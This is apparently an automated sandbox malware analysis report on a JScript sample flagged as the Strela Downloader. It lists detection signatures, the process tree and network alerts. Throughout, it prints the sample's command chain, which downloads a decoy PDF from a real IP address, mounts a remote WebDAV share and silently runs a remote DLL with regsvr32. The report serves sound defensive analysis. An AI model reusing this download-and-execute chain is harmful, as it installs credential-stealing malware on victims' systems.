Edit tour

Windows Analysis Report
1223923852588014617.js

Overview

General Information

Sample name:	1223923852588014617.js
Analysis ID:	1588759
MD5:	b0ad1e90862c9af35e8dd2cff0e88a52
SHA1:	63de6689c3b81567be0cc179d0bd55a0037fdbf8
SHA256:	5f215b4f8ec663a25645076ea5614e23efcd94afd1fa4ae0d935da80ea36722b
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6576 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1223923852588014617.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6716 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6860 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2640 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6604 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7176 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1364,i,2065389841827715182,14235392778676737554,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 4192 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 3152 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6884 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6576	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6716, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6860, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6716, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6860, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1223923852588014617.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1223923852588014617.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1223923852588014617.js", ProcessId: 6576, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 3152, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1223923852588014617.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6576, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll, ProcessId: 6716, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1223923852588014617.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6576, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll, ProcessId: 6716, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1223923852588014617.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6576, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll, ProcessId: 6716, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1223923852588014617.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6576, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll, ProcessId: 6716, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1223923852588014617.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6576, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll, ProcessId: 6716, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1223923852588014617.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1223923852588014617.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1223923852588014617.js", ProcessId: 6576, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6716, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6860, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4192, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3152, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6884, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4192, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3152, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1223923852588014617.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6576, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll, ProcessId: 6716, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:09:18.487017+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:09:20.545954+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:09:18.487017+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 1223923852588014617.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1223923852588014617.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1223923852588014617.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:09:18 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 